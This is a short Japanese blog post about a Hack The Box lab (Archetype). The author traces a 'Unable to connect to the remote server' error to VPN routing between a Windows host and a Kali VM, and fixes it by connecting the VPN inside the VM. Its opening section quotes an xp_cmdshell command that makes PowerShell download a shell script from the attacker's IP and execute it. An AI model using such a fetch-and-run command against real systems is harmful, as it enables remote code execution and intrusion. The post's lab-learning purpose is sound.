⚔️

Hack The Box の Archetype で「Unable to connect to the remote server」

2021/08/15に公開

経緯

【Hack The Box】Starting Point(Archetype) - Qiita
上記の記事を見ながらStarting Point の Archetype をやっていたところ,SQLサーバー内で

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://自分のIP/shell.ps1\");" 

を実行したら

Unable to connect to the remote server

とエラーが出た

原因

ホスト側のWindows10からOpenSSHで接続しており,VMware上のKali LinuxでHack The Boxをやっていたが,そこに問題があった.
VMwareの設定で仮想環境内のIPアドレスはホスト側のIPアドレスを用いるようになっており,ssh接続で割り振られたIPアドレスになっていなかった.
hostname -IでIPアドレスを確認してもホストと同じIPアドレスしか表示されなかったため気付かなかった.

解決方法

ホスト側でのOpenSSHを切断し,仮想環境内で接続する

  1. 仮想環境内でHack The BoxからOpenSSH用のファイルをダウンロードする(この時MachinesではなくStarting Pointの方を選ぶ)
  2. ターミナルでsudo openssh [ダウンロードしたファイル]を実行
  3. hostname -IでIPアドレスを確認
    この時いくつか表示されるが,10から始まるものを使用する

最後に

初めてのHack The Box だったため勝手が分からず予想外のところで引っかかってしまった.
ホスト側で接続してやることもできると思うのでまた調べてみようと思う.

参考

Kali/HTB/Archetype - "Unable to connect to the remote server"

Discussion